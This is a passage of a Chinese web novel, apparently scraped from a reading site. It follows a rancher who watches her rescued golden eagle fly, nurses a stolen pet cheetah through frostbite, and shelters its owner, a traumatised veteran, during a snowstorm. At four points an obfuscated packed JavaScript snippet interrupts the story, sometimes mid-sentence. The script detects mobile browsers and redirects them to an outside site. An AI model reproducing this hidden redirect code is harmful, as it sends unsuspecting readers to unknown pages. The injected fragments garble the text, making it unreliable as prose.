小金雕已经跟刚被救助的时候长得不一样了，比当时好看太多！ 此时小金的主体还是深褐色，不过她头部跟颈部的羽毛已经泛起了金色的光泽，尾巴跟翅膀上倒还有一些白色斑纹，毕竟小金虽然五个来月，但人家也还是幼鸟呢！ 不过现在的小金已经是个大家伙了，前两天给她上了一次称，已经三公斤多了。问了林业局长，说这个体重算是标准体重里面比较健康的小家伙了。 她母鸡蹲的时候还是小小一只，但是当小家伙把翅膀伸开的时候，翼展有一米七！ 跟她站直了一样高！ 这么大的翅膀就应该上天啊！ 姚新泉把小金哄高兴了，“宝贝小金啊，你还记得当初我就是在这里把你救下来的吗？你想想当时我爬上去多艰难啊！” 姚新泉托着小金到了那颗云杉树旁边，指着树上的痕迹道，“你看，当时要不是我这个脚蹬子能扎到树皮里面，我早就摔下来了！” “可你不一样啊！你是金雕！你是最大的雕啊！你就是属于天空的！”姚新泉激情澎湃地演讲，恨不得上前两步，啊！天空！ 但是转过头就见小金歪着脑袋看着她，看的姚新泉有些尴尬。 她清了清嗓子进入正题，“这样，我把你先放到旁边那棵小树上，你先试着往下飞行吧？” 接着她又努力去想该怎么形容飞行的感觉，或者不行之后去动物园想办法给孩子找个老师？ 姚新泉愁的不行，她又没有饲养过禽类，这不应该自己就会上天吗？咋还非要她教呢？ 小金像是明白了也好像没明白，被放在树枝上后她稳稳站定，没叫也没动。 倒是姚新泉，她又一再叮嘱，“你别怕”，想了想又道，“要是飞不起来也别怕，你这个高度不高，我能接住你，你别怕摔啊！” 嘀嘀咕咕半天后姚新泉忧心忡忡地退后，刚抬起头想让小金可以飞了的时候，就见小金似一道利箭一般冲上云霄！ 姚新泉张大了嘴，她现在觉得自己像个傻子！ 谁能想到这个浓眉大眼的家伙竟然会演戏吓自己！ 她还担心小金坠机呢，结果人家自己在天上玩儿云霄飞车！ 可看着天空中小金的那对大翅膀姚新泉又忍不住笑了起来，臭丫头，飞得真好！ 眼眶都酸酸得是怎么回事呢！ 小金飞得很快，姚新泉没一会儿就看不到她了。她心里慌了一下，这孩子不会飞走就不回来了吧？ 想到这里她没忍住往前走了两步，可突然又停了下来，脸上表情很是惆怅。 小金本就是野生动物，不是自己牧场上养着的牛啊羊啊可以比的。自己也没有她的抚养权，只是帮忙照料而已。 如今她长大了，她本就归属于天空，她不是自己养的小鸡，她是搏击长空的金雕啊！ 姚新泉叹了口气，失落地垂下了头，可眼前突然落下的东西将她吓了一跳，“什么玩意儿？” “野兔？” 她拎起兔子，想到什么赶忙抬头看，就见小金稳稳落在了枝头，歪着头看向她，远远就能感受到这孩子的高兴。 姚新泉眼睛瞬间便红了，她伸出一只胳膊，“小金，来！” 小金轻巧地落在了她的胳膊上，小心没有抓破她的军大衣，又歪着头蹭了蹭她。 姚新泉吸了吸鼻子，“你舍不得我对吗？舍不得大家对吗？” 虽然不知道她在叫什么，但是姚新泉能感觉到她在安慰自己，笑着亲了亲她的翅膀，拎着兔子就往回走。 “皮皮他们呢？” 小金雕刚才飞得高自然是看到他们了，虽然不知道姚新泉在说什么，可是她很熟悉皮皮的名字，就要飞着给她带路。 姚新泉也没阻止，开着三轮车就往那边去。 还没到地方就听到了几声狗叫，听声音似乎是受到了威胁，姚新泉心里一紧，她加足马力往那边赶了过去。 等到了地方后姚新泉才觉得不对，怎么回事儿？狗子们跟小马在围栏里面叫，难道外面有什么东西？ 她皱眉靠近，就见外面躺了一只动物，姚新泉愣了一下，不是，这玩意儿是豹子吧？ 这是猎豹啊！ 老天爷，这猎豹不是非洲的本土生物吗，什么时候新疆还有猎豹了？ 难道说这是被人偷渡回来的还是怎么样？ 姚新泉正发愣就听到系统突然发布任务，“经检测，宿主正北方10米处有一只因低温被冻伤的非洲猎豹需要救助，宿主是否救助？” 姚新泉叹气，你咋不等我贴上去了再发布任务呢？ 行吧，还真是非洲猎豹。 别说她本来也想救的，如今既然系统发布任务了，那就顺水推舟吧！ “你们先回家，我绕出去把豹子带回来”，姚新泉安排好了之后也没管他们，主要几条狗狗，哪怕点点才几个月大也是老大一只了，三轮车根本坐不下好嘛？ 她骑着车很快就绕到了猎豹身边，见猎豹似乎已经失去意识了，姚新泉没忍住皱了皱眉。 “系统，治愈术”，这是她第一次对动物使用治愈术，不知道效果怎么样，但现在也没别的办法了。 “小家伙，我把你抱到车上，你不许咬我啊！”她小心翼翼将猎豹抱了起来，这一抱就没忍住皱了皱眉，太轻了。 这小家伙的体型差不多已经接近成年猎豹了，但是姚新泉感觉得出来，它还没成年。 不过这种接近成年的豹子正常体重应该在五六十公斤，但是她手上抱着的这只最多也就30公斤，还没她家羊重呢！ 她把家里带来的羊毛毯子铺到豹子身上，把它包了起来，期间治愈术持续使用。 等把豹子放下后姚新泉脚步有些踉跄，她扶住了三轮车，忍不住在心里咬牙切齿地问，“系统，你别告诉我这个治愈术是抽了我自己的生机之类的去治疗动物，我可还没那么无私呢！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507632|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>活着才能说以后，她是喜欢动物，也乐意去救助它们，可不代表可以让她放弃生命！ 上次救助小金的时候她腰上缠了安全绳，脚上有能扎到树干里的脚蹬子，安全是有保障的！ 但是如果是这种无声无息抽取她的生命的话，姚新泉真的会爆炸！ 感受到姚新泉的愤怒了，系统赶忙解释，“没有任何问题，我们出厂时就被设定了不会做出任何不利于宿主的事情。这是我的问题，是我没有提前跟你说明白。治愈术不会伤到你的身体，但是有使用次数限制，每日1次。只是也不能说没有副作用，不过这个副作用也只是让你有轻微低血糖患者的症状，吃颗糖就能缓解，就算不吃糖你歇上三五分钟也会好的！” 姚新泉没说话，只是从口袋里拿出了一颗糖放入嘴中，随着身上力气的恢复，她的心也逐渐放回了胸腔中。 “系统，我不追究你的来历，但我希望你不要做出任何我不能容忍的事情。” 系统老实又乖巧地嗯了一声，可也不免有些委屈地吐槽，它的一切行为都要通过姚新泉去做啊！ 退一万步说就算这治愈术真有问题，姚新泉不用他不也一样一点办法没有？ 姚新泉缓过来之后她轻轻摸了摸小猎豹的脑袋，骑着车往家里赶，没有注意到当她转身的时候猎豹就睁开眼一直看着她了。 姚新泉把猎豹放在了客厅，那边小崽子们太多，不利于休息。 她在地上又铺了一层羊皮褥子，把猎豹放在地上然后摸了摸小家伙的爪子，又观察了下它的的耳朵、尾巴，看完后这才松了口气，还好只是微微泛白，算是冻伤的早期症状了。 如果说它的皮肤发紫、肿胀甚至出现溃烂或者水泡那就真的完蛋了，严重冻伤，能保住小命都不错了，搞不好要截肢呢！ 早期冻伤可以把它放到37度到40度的温水里浸泡，但是姚新泉家里没这个条件，所以她翻出了好几块儿毛巾，泡了温水之后拿出来轻敷。 家里毛巾这类的东西特别多，都是她小姑搬过来的，说是厂家便宜批发的，让她拿着用，所以此时根本不缺毛巾。 等敷了一阵后她把毛巾取下来的时候才注意到小猎豹已经睁开眼睛了，姚新泉笑了下，“你醒了啊？你前面冻昏在雪地里了，我把你抱回来，给你简单处理了一下。你皮肤上倒没冻破，我先给你把水擦干，你乖乖得不许咬人啊！” 感受到它情绪很平稳，姚新泉小心翼翼地试探着去触碰它，没感觉到有反抗的意思她这才松了口气将它身上擦干，又用羊毛毯给它盖上。 “你冻伤的不太严重就先不给你用药了啊！门我没关，你要上厕所的话自己出去，我先去喂牛羊了。” 小猎豹也不傻，目光追随着她离开后便老实趴在地上不动了。 等喂过牛羊后她又回来做了饭，给几个小动物都喂了饭后给小猎豹也添了些化了的牛羊肉，放了一盆水在一边。 “明天我联系下公安局那边看看是什么情况，你也不是咱们本地的豹子，肯定是有人带你来的，现在天黑的早也不能让人家大晚上地过来，等明天吧！” 确定了它没有什么不舒服后姚新泉便安心回去睡觉了，却不知道县公安局此时已经乱成一锅粥了。 27. 第 27 章 “那猎豹不是野生动物吗，谁允许他随意饲养的？现在丢了倒知道找我们想办法了，我们到哪儿想办法去？”一名小警察小声抱怨道。 “行了，说那么多有什么用？人家那猎豹有合法来源的，那是从非洲那边救下来的猎豹，听说本来要放生的，但后来经过什么评估，说是那豹子心理有问题，不适合放生，所以他家想办法得了上面的批条领养了那豹子，是办了合法手续的！” “特权阶级！资本家！” “行了，闭嘴！”队长呵斥了这群人，他们什么都不知道，事情哪有这么简单？ 人家特批得到这张条子是因为人家给新疆这边捐了几百条公路！ 而且人家本身就为国家做过许多贡献，只是身体不太好退下来了而已，综合种种原因上面才批的条子！ 再说了，这也不是人家乱跑，人家还气呢！好端端来旅游，结果豹子被人偷走了！ 没错，那豹子是被人注射了药物之后给带走的！ 要他说这豹子如今下场可能不太好！那些人如果是想偷了之后卖掉去饲养倒还好，好歹有一条命，怕的就是为了豹子的皮毛之类的！ 如果逃走了也麻烦，人家那是热带的动物，你把人放到零下十来度的天气里，这还想好？ 最让人头疼的是，这豹子是在人家主人被县领导请去吃饭的时候偷偷弄走的！这不知道的还以为是县领导跟人串通了呢！ 想到这里他就头痛！如今苦主在外面等着他们办案的结果，也不知道去抓人的人回来了没有！ 张磊正烦着，突然听到下属进来说，“偷豹子的人抓到了！” 他精神一震赶忙快步走了过去，看到坐在大厅里等着的师月江，张磊只觉得头皮发麻，赶紧走过去道，“偷走猎豹的人已经抓到了，我们这就去审问，师同志你再等一等。” 师月江点头，脸上看不出什么太大的神情波动，可熟悉他的人都知道他已经到了忍耐的边缘了。 又过了许久，师月江甚至忍不住在想，是不是自己的莱尼已经死了！ 他不是不想找人帮忙，问题是这并不是他的大本营，现在对于莱尼到底是被人运走了还是还在本地逃走了他都不知道，他能怎么做？ 如果市区有人发现了豹子肯定会报警的，可现在没有。 如果跑到山林或者草原上，难道他组织人在零下十来二十度的天气里去搜山？ 万一出点什么事儿可怎么办？莱尼很重要，可是再重要也没有人命重要啊！ 他只能等。 公安局电话响了，有人叫他去接电话，师月江接起了电话，“大哥。” 师星野嗯了一声，“莱尼还没找到吗？” 师月江沉默着没说话，师星野就知道什么情况了，他也沉默了。他甚至开始自我怀疑，当初为什么要送给他一头小豹子？送个猫猫狗狗不一样能陪伴他，陪他走出来吗？ 师星野不说话，师月江也沉默着，谁也没有挂电话。 过了一会儿张磊突然跑了出来，“师同志，那人说豹子已经跑了，中午那阵儿就跑了！” 师星野的心都凉了，北京如今的温度已经差不多到零下了，新疆那边还是山区，海拔也不低，这种温度下一只热带的猎豹真的还有生还的余地吗？ “月江，也许会有人收留莱尼的！我这边走不开，我再联系一下当地的领导看能不能再想想办法！” “不用了大哥，你先忙吧”，说完便把电话挂了。 这一晚上师月江跟师星野两人都没怎么睡好，师月江是从那边退下来之后就再也没有睡过一个安稳觉了。 从小到大他的体能都很强，也很聪明，无论在专业技能还是语言能力、团队协作能力各方面他全是顶尖的。因此军校还在读的时候便被特招进了维和部队，那时候的他是意气风发的，他满心都想着要为了维护世界的和平与安全、保护普通民众的生命权益而奋斗终身。 可惜这一切在与自己通吃同住的战友牺牲后戛然而止，他患上了严重的创伤后应激障碍，也就是PTSD，已经不符合留在部队的条件了，他退伍回到了家中。 从那之后他没有睡过一个好觉，即便睡着了梦中也总在反反复复地回忆起当初的事情，情绪崩溃的同时身体也愈发衰弱下来。 因为他从小就喜欢小动物，师星野还曾给一支非洲那边的动物救助组织资助过，就这样，他接触到了莱尼。 莱尼也是一个可怜的孩子，她的母亲被鬣狗分食了，如果不是动保组织的干预，她也会死在鬣狗嘴下。 该组织饲养了一段时间后发现莱尼不知道为什么似乎已经丧失了独自生活的能力，野化训练做得特别差，没办法只能对接动物园看看把莱尼送到哪家动物园去生活。 就这样师月江阴差阳错地接触到了莱尼，并且自回家之后第一次主动提出了自己的想法，他想养莱尼。 师星野心疼这个弟弟，自然是他说什么都答应的。师星野虽然也就比师月江大两个小时，可两人感情特别好，他完全不会觉得麻烦，只会想办法帮他达成目的。 此时国内对于野生动物饲养的相关法律并不健全，师星野在付出了不小的代价后还是拿下了上面的批条。 可惜，似乎结果还是很不好。 想到这里师星野心里就一阵憋闷，“小李，你帮我订一下明天最早飞新疆的飞机。” 李秘书有些为难，“老板，我已经问过了，因为天气原因，飞机停飞了。这次的大雪席卷了新疆大部分地区，新疆全线停飞。” “大雪啊！”师星野叹气，那是不是莱尼存活的可能性就更小了呢？ 如果莱尼没了，弟弟一个人在那山高皇帝远的地方怎么办？他怎么承受得住莱尼离自己远去呢？ “小李，你去联系一下动保组织那边，问一下还有没有丧母的适龄小豹子！” 如果莱尼没了，不行就再送弟弟一头！大不了再捐一批公路出去！ 家里就他们兄弟两个，这偌大的家业不用在弟弟身上用在谁身上？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512504|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面的事情姚新泉都不知道，第二天一早确认小豹子恢复得还可以，身上各处都没有严重冻伤的痕迹后她彻底放下心来。 “也不知道是它身体好还是运气好，或者是金手指好？”姚新泉嘀咕了两句就按部就班地完成了今日任务。 听着外面北风呼啸，姚新泉摸了摸小豹子的耳朵，“你说这么大的风，雪马上就来了，我现在打电话的话他们还能上山吗？” 姚新泉叹了口气拿起了电话直接拨给了离自己最近的那家派出所，当派出所接电话的人听到电话里的内容后人都傻了，电话也没挂大喊了一声，“找到豹子了！” 姚新泉嘶了一声皱眉把电话拿开，也不知道那边什么情况莫名其妙就把电话给挂了。 反正她已经说了也就没再管那么多，把家里一个小磨盘翻了出来，早晨特别想喝豆浆，今天磨一点儿吧！ 师月江听到有人捡到莱尼之后人都傻了半晌没回过神儿来，“在哪里？它在哪里？” 张磊跟他讲了地址后还是拦了一下，“师同志，你听外面的动静，雪已经开始下了，这个天气我们单位没公车，摩托车上不了山啊！” 师月江不动声色地点了点头，“莱尼既然被好心人捡到了，那我也放心了，不会急着过去的，等雪停了再说吧！” 张磊观察了一会儿他的表情，见他好像真是这么想的不由嘀咕，现在放心了？那怎么昨天那个样子？ 两人又聊了几句话，不知不觉间师月江套到了姚新泉的地址，回了酒店开上车就往目的地进发。 莱尼会不会冻伤？她有没有哪里不舒服？自己一定要立马见到她！ 牧场里姚新泉在热乎乎的客厅里喝着豆浆时突然听到了一阵狗叫声，她觉得不对，套上外套带上雷锋帽便出去了。 就见狗狗军团们围着一个高大的男人，看不清眉眼，但估摸着身高得快一米九了吧！ “你好，请问莱尼在你家吗？” 莱尼？姚新泉愣了一下，刚想问什么就见眼前的男人朝自己倒了下来，她吓了一跳赶忙小心接住了他。 好家伙，冻晕了？ 没办法，姚新泉只能先让狗狗军团们回屋，自己小心背着男人往屋里走，她心想，这男人看着骨架子大，衣服一裹跟头熊一样，实际上背起来最多70公斤。 一米九的大男人啊！七十公斤！ 她把人背回客厅后，将他被雪覆盖的外套和帽子都取掉，又把鞋子给他脱掉后把人放在了沙发上，没想到一旁的小豹子突然拖着有些发软的身体勉强移了过来，目光一动不动地看着男人。 姚新泉突然笑了起来，“原来你就是莱尼啊！” 她可真高兴！ 原来小豹子不是被人偷猎的，不是被人遗弃的，它有一个愿意为了找它冒着迷失在暴风雪中风险招过来的好家人呢！ 想到男人方才拎得包，姚新泉哎呦一声又赶忙跑出去把东西拎了回来。 再过一会儿被雪埋了可就找不到了！ 28. 第 28 章 师月江是在一阵甜香中苏醒过来，他一睁开眼就看到了蹲坐在自己面前的莱尼，眼神一下就温柔了起来。 他想抬起手，这才发现自己身上盖了一条被子，很是暖和。 他摸了摸莱尼的头站起来后才发现，自己身上的羽绒服、冲锋衣还有冲锋裤都被脱掉了，鞋子袜子也全脱了，屋里很是温暖。 他穿上放在沙发边上的拖鞋，顺着香味走到了厨房，姚新泉听到动静一抬头就见到师月江朝自己笑。 师月江的笑很有感染力，那么高大的男人竟然还是个杏眼，看起来减龄也很无害。 姚新泉也朝他笑了笑，“你醒了啊？莱尼是小猎豹的名字吗？” 师月江点头，他探头看了一眼趴在沙发前的莱尼，“她叫莱尼，现在一岁半了，我是合法饲养她的”，说着想去翻自己随身带着的证明，被姚新泉笑着阻止了。 “我相信你”，从莱尼对他的态度来说他们肯定是有过长时间的亲密相处的。自己报警之后那边动静那么大，肯定是这家伙已经把山下闹得天翻地覆了。这些都是她的猜测，当然了，最重要的是姚新泉打电话跟山下核实过了。 姚新泉眼中闪过一抹狡黠，她又不是傻子，还能随便收留一个陌生男人？还又是给他换衣服又是给他盖被子的？ 这不是听公安那边讲这个家伙家里给新疆捐了好多条路嘛！为了这个她也很感谢对方！ “你前面昏迷着我就把你衣服脱了，冒犯了啊！”她略有些不好意思地递了一碗豆浆给他，“糖罐子在桌子上，你自己看着加”，说着她加了一大勺糖进去，喝一口温热的甜滋滋的豆浆在这个冬天里简直可以说得上是享受。 师月江道了谢，也加了一勺糖后慢慢喝了起来。 “你过会儿去泡个脚，我看你手上脚上倒没有冻坏，但是估计也不好受。我家里有电话，你看要不给你家里人打个电话报平安。新疆冬天牧区的风雪很大的，你贸然自己一个人走上来万一出了点儿事情”，姚新泉叹了口气没再继续说下去。 “我是开车上来的，但风雪太大，没办法半路上我只能弃车上来了”，师月江的表情有些无辜，看的姚新泉无奈，行吧，有钱人。 “你也看到这个雪了，你别说这几天了，我估计你这个冬天也别想下去了！” 还有几天到1月，也快到了最冷的时候。这雪别说是化了，能不能停都不好说。 今年冬天比往年还要冷，万一这雪积到一米多，是指望着她下山送人还是山下警察上山找人？开玩笑呢！ “你得跟你家人说一声，估计得等雪化了才能下山了。” 师月江有些抱歉地看向她，“是我考虑不周全，得麻烦你了！” 姚新泉摇了摇头，其实也还好，这位看起来性格也还行，大冬天的山上多个说话的人也不错。 最重要的是她并不是手无缚鸡之力的小姑娘，自己身后可还有六条大狗呢！ 至于莱尼，不是姚新泉小瞧它，这个小豹子都不一定打得过点点。而这个男人看起来甚至有点弱不禁风，姚新泉不觉得打起来自己会制服不了他。 “不过我丑话说在前面，家里两间卧室，未经允许不能进入我的卧室，客厅和厨房你随便进，厕所用完就收拾。” “你会做饭吗？” 师月江摇了摇头，姚新泉了然得点头，也正常嘛，家里能捐那么多路怎么可能没钱？请保姆就行了干嘛要自己做？ “那这样，我做饭，你洗碗没问题吧？” 见他点头，姚新泉又继续，“我每天要喂羊喂牛，我希望你能跟我一起”。 没等她多说什么，师月江便点头，“没问题，只是莱尼的伙食你也得包了，就跟你家牧羊犬的伙食一样就行”，他昏迷前见到了好几条狗，看它们的体格子就知道不是一般乡下喂麸皮、剩菜能养出来的，还是要吃肉。 姚新泉也点头，家里已经这么多小动物了，多一个少一个根本不是事儿。 “那希望咱们之后几个月相处愉快”，姚新泉伸出手，师月江笑着轻轻握了一下便松开了。 “我借用一下你家电话”，姚新泉点头，她放下碗，“你自便，我去一下小动物那边”。 姚新泉拉开厚厚的门帘子，屋内的热气扑鼻而来，小家伙们见到她都冲了过来，见皮皮也想动，姚新泉赶忙阻止了。 那么大块头老实待着吧！ “你们先在这玩，我把小金带过去给她做个站着的架子”，陪小动物们玩了一会儿后姚新泉才带着小金回客厅。 家里地方到底太小了，除了小金之外没有一个动物个头小，姚新泉打算明年的时候重新打个审批，把这间房子扩建一下或者重新盖一间大的。至于现在的话，还是把上面的空间利用起来，至少让小金可以换个地方母鸡蹲。 另一边接到师月江电话的师星野终于松了口气，没忍住在电话里训斥了他两句，见他老实道歉又心软了。 “所以说你在雪化之前都要待在山上吗？那边条件怎么样？冷不冷？你衣服带够了吗？房主听说是个女孩儿？好相处吗？你身上有没有带钱？你多给人家给一点儿，省的看人脸色”，可想了想又改口，“到底寄人篱下，有眼色一些”。 师月江心里暖暖的，老实一一都应下了。 师星野又问起了莱尼，“她还好吗？有没有冻坏啊？那边有没有药呢？” “大哥你放心，房主人很好，她救了莱尼我很感谢她。因为她是做养殖的，所以也很有经验，给莱尼做过一些处理，莱尼现在也很好”，说着朝莱尼招了招手，“莱尼，跟大伯打声招呼”。 本以为莱尼不会叫的，但莱尼突然啾了一声，师星野沉默了一会儿后嗯了一声，“莱尼真乖！” 电话挂了后师星野没忍住笑了出来，真像小鸟叫。 站在姚新泉肩膀上的小金听到屋里的叫声后眼睛都瞪圆了，当姚新泉推开门时她便冲了进去落在了桌子上，四下打量，“啾？” 师月江为自己能看懂小金的意思而感到抱歉，他憋着笑摸了摸莱尼的头，没事儿，谁也没规定猎豹就得嗷呜对吧？ “你这是养了金雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516007|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “我没有，别乱说，怎么会！”姚新泉否认三连，“小金雕不是我养的，她只是自己在我这里筑巢了而已”，她拍了拍自己带过来的大树干，“小金雕太小了，她的巢筑的不是特别好，所以我得帮她改一改！” 看着那直筒筒的木头桩子师月江沉默了，“要我帮忙吗？” 做鸟架子说麻烦也麻烦，说不麻烦也不麻烦。如果找到了枝丫足够粗壮的树枝，那稍微修剪一下就成。但姚新泉带来的这根可一点树杈子都没有啊！ 师月江考虑到小金的重量后用了一截粗壮的主干钉在了一块儿木板上固定住不倒。然后又取了好几根稍细一些的枝干用钉子固定在了主干上，最后还去仓库那边不知道在哪个角落里翻出了好几根类似藤条的东西，然后给小金编织了一个鸟窝。 他还在鸟窝里填了一层干麦草，小金迫不及待地窝到了鸟窝里去不动了。 姚新泉人都看傻了，“你可真是心灵手巧啊！”隔着大老远她都能感受到小金浑身写满了高兴两个字。 师月江心里也很满足，“那我把架子搬到隔壁去？”他知道那里是小动物房，主动请缨。 姚新泉想了想没拒绝，小家伙们都知道他是自己带回来的，不至于主动攻击他，再说了小金还在人家抱着的鸟架子上端坐着呢！ 师月江端着鸟架子小心翼翼不碰着周围还要不摔着小金，等拉开门帘子的时候屋内7双眼睛直勾勾地盯着他，就算曾经也见过世面的他也不禁咽了下口水。 “我来放架子”，他没敢动弹，站在原地小心解释，“我是那只小豹子莱尼的家长，因为天气原因我被困在这里了，之后一段时间你们都能见到我，我对你们没有恶意，我也会帮着干活儿的！” 也不知道它们听没听懂或者哪一句话触动了它们，小家伙们慢慢移开了视线，师月江这才松了一口气，小心把鸟架子放了进去，又把有点儿歪的鸟窝扶正。 小金定定地看了会儿他，然后用鸟喙碰了他一下，师月江瞪大了眼睛。 师月江没忍住摸了摸小金的脑袋，等回过神来后又看了看自己的手，还好，手指还在。 师月江回到厨房的时候就见姚新泉端着一盆饺子馅出来，“我调的白菜猪肉的，等改天我再调点牛肉胡萝卜跟牛肉大葱的，还有羊肉皮牙子的”。 师月江顿了顿，“皮牙子？” “就是洋葱，羊肉洋葱的。” “好，那我跟你学学。” 北疆的冬天也算得上是滴水成冰了，外面这个环境就是一个天然的冰箱，包好的饺子往外面一放久冻好了，然后拿袋子装起来防止皴裂。 她又拿出了另外一个盆的饺子馅，“这是只稍微放了一点盐的，给家里狗狗军团包的，到时候换个花样包，好区分。” 随后又不知道从哪里拿出了一个小盆，“这是纯肉馅，什么都没放的，几种肉馅拌在一起，到时候咱们吃正常饺子，狗狗军团吃少盐没调料的饺子，小金跟莱尼吃蒸熟的肉，皮皮吃菜叶子。” 师月江失笑，“好。” 29. 第 29 章 新疆的汉族基本都是从内地陆续迁过来的，姚新泉父母也不例外。 “我父母都是北方人，家里就爱吃饺子，逢年过节包饺子、过生日包饺子、出远门之前包饺子、回来之后包饺子”，她笑着把一只包的鼓鼓囊囊的小月牙饺子放到盖帘上，“小时候对我来说吃上一顿饺子哪怕没有过年也跟过年差不多了。” 她指着盖帘，“你猜这盖帘用多久了？” 师月江看了看眼前的盖帘，被洗的很干净，不知道是用什么植物的茎拼成的，应该是用线缝起来的，可以看见外边一圈有线的痕迹，看着确实应该用得挺久的了。 “十年？”师月江试探地问。 “十七年，按我爸妈的话说，那是我三岁的时候把家里之前一个8岁高龄的盖帘拆了之后他们又用高粱竿子重新做的。” 师月江有些不可思议，“这么久都没坏？” “那可不？家里可爱惜了，平时用得最多的时候就是放饺子或者是晒干菜什么的，比那种不锈钢的篦子好用。” 师月江不知道怎么也突然有了谈兴，“我爸妈的出身在唯成分论的那段时间不太好，两人年轻的时候也不需要自己做饭，突然落魄了那手艺最多也就是把饭做熟”，师月江眼中满是怀念，“我记得小时候我家最多最多一年能在过年的时候吃上一顿白菜馅儿的饺子，还不是用小麦粉包的饺子，但即便那样，我跟我哥对此还是惊为天人，觉得世界上没有比那更好吃的东西了。” 后来家里翻案，爸妈拿回了他们原来的东西，靠着家底跟从小耳濡目染学会的东西再次发家，家里越来越有钱，可一家人能一起吃饺子的机会却没有了。 再后来，师月江叹了口气，也许是过够苦日子了，那夫妻两个现在只想享受，并且对于见证过他们那段苦难生活的家人很是不喜！ 两人成天花天酒地，在外面乱搞男女关系，如果不是师星野当机立断退学回家接手了家里的一切，师家早就败落了。 有时候想到这些师月江心里都为他哥委屈，也觉得自己太过自私。他也有自己的责任，可他却将一切都甩在了哥哥身上，去追求自己想要的。 如今这么不上不下的，退下来后又让哥哥替自己操心，让他没个安稳日子过。 想到这里师月江叹了口气，包饺子的动作也慢了下来。 姚新泉看了他一眼也没说什么，继续包饺子。 她把五个剂子摞在一起，撒上干面粉后右手擀剂子，左手飞快旋转面剂子。 “家里从前都是我擀饺子皮，我爸妈两个人包，今天本来我也没打算包饺子的，自己一个人又是擀又是包的太折腾了，我又能吃几个啊？这不是看你来了想着两个人一起总归快一些才专门弄了出来。” 师月江早就注意到她胳膊上的孝了，此时也没追问这些。 比起年纪轻轻就没了父母的姚新泉来说，自己幸运太多了不是吗？师星野不只是给他遮风挡雨的大树，还是他心灵上的寄托。 他有些抱歉地收回了自己刚才不太好的想法，好奇地问道，“这大雪封山了你冬天怎么办呢？” “我囤了七八袋25公斤的米、面，好多桶清油。肉的话之前杀的牛羊都有，还买了猪肉，外面还囤了两桶鱼，还有一些别人送的各类肉。” 想了想又道，“要是实在不够吃，圈里还有那么多羊呢！” 反正在姚新泉心里，她开这个牧场往大了说是为了继承父母的遗志，往小了说那就是为了让自己生活的更好啊？杀一头羊她又不会破产，真到了没肉的时候为什么不杀？ “鸡蛋这些也囤了不少，这个天气也放不坏。” “菜的话我家屋子后面有个菜窖，挖的挺深的。白菜萝卜这些都囤了不少。像是芹菜这些有根的我都埋了土，应该也能保存一段时间，问题不大。” “家里自来水是走的地下，一般不会冻掉，水龙头在家里，有暖气也不怕。至于电的话我确实没办法控制，不过我还买了不少蜡烛，要是真断电了也不至于一个冬天都摸黑。” “有水有电，有肉有菜有粮，我还有啥可怕的？” 师月江没忍住朝她竖起了大拇指，小姑娘真能干！ 也就刚大学毕业的年纪，自己一个人就能撑起一个家了！ 姚新泉笑着摆了摆手，笑着过是一天，哭着过也是一天，她已经比很多人都幸运了！ 相信她爸妈的在天之灵也会希望她不要沉溺于悲痛之中，好好过自己的日子的！ “你会包别的花样的吗？”姚新泉把用正常口味的肉馅包的最后一盖帘饺子端出去冻上回来问道。 师月江不好意思地摇了摇头，“我这月牙饺子还是跟你学的呢！” “行，那我再教你个元宝饺子吧！”不会包无所谓，只要愿意学就成。 她收留师月江一方面是因为这个天儿不收留人家难道赶人家出去冻死？她爸妈就没教过她这样做事！ 另一方面也是看在他家里捐了那么多公路的面子上，自己就是新疆人，就算自己没用上，别人用上了她也高兴，也心怀感激啊！ 不过聊了一会儿发现这人性格也还行，出身好却没有那些臭毛病。如果这人真不好相处，姚新泉也不会勉强自己的，凑活过拉倒。 但如今这人还不错，那肯定是要好好相处的，能多个说话的人也好啊！ “这样，你先把饺子皮上放上馅料，不用特别多，不然也容易漏。然后把饺子皮对折过来，捏紧。再把两个角朝内弯折捏紧，这样就成小元宝形状啦！其实也就比月牙形的多了一步而已，回头再教你别的。” 她把自己包的大肚子富贵小元宝放到盖帘上，师月江把自己包的小可怜软塌塌小元宝放在旁边，突然就生出了一股子羞耻感来。 他又看了看元气满满的姚新泉，目光落在自己虽然修长，但似乎只剩皮包骨头的手上，忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 